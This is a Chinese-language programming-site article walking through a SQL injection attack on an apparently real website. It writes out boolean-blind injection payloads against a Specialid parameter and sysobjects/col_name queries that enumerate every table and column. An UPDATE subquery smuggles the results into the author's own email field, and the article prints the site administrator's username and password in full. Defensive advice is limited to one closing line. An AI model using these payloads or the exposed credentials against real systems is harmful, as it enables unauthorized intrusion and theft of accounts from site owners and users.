首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Injection 深度探討:從發現漏洞到自動化枚舉資料庫結構

     編輯:關於SqlServer

SQL Injection 攻擊日益盛行。本文實戰記錄如何在不知原始碼、不知資料庫結構的前提下,透過錯誤回顯與系統表查詢,逐步枚舉資料表、欄位並竊取管理員帳密。

階段一:發現漏洞與常規注入

在參數 Specialid=1817 後加單引號觸發錯誤,確認未過濾。嘗試 ; 註解後續 SQL,改用 USE master 失敗,改採布林盲注猜測資料表/欄位:

...Specialid=1817 AND 1<>(SELECT COUNT(id) FROM [user])
...Specialid=1817 AND 1<>(SELECT COUNT(username) FROM [user])

透過錯誤訊息「物件名稱無效」或「資料行名稱無效」確認 user 表與 id、username、email 欄位存在,並註冊帳號 rrrrr 取得 id=103534 作為更新目標。

階段二:利用系統表自動枚舉結構

SQL Server 系統表 sysobjects 記錄所有使用者物件。關鍵欄位:

  • name:物件名稱
  • xtype='U':使用者資料表
  • id:物件識別碼(遞增)
  • status>0:使用者表標記

逐步查詢取得所有使用者表名:

SELECT TOP 1 name FROM sysobjects WHERE xtype='U' AND status>0
SELECT TOP 1 id FROM sysobjects WHERE xtype='U' AND name='gallery'
SELECT TOP 1 name FROM sysobjects WHERE xtype='U' AND id>2099048

再利用 col_name(object_id('表名'), 欄位序號) 列舉各表欄位。

階段三:實戰滲透竊取管理員帳密

找到可更新的頁面(ShowSinger.ASP),透過 UPDATE ... SET email=(子查詢) WHERE id=103534 將查詢結果寫入自身 email 欄位,再由前台檢視:

  1. 枚舉所有表名,發現 admin 表。
  2. 枚舉 admin 欄位:id、username、password。
  3. 取得管理員 id=44 的帳密:gscdjmp3 / XZDC9212CDJ。

總結與防範

  • 不知結構時,善用系統表自動枚舉,避免盲目猜測。
  • 結果可寫入可控欄位(如 email、新聞標題)回顯。
  • 防禦核心:參數化查詢、最小權限、錯誤訊息不回顯、WAF 防護。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved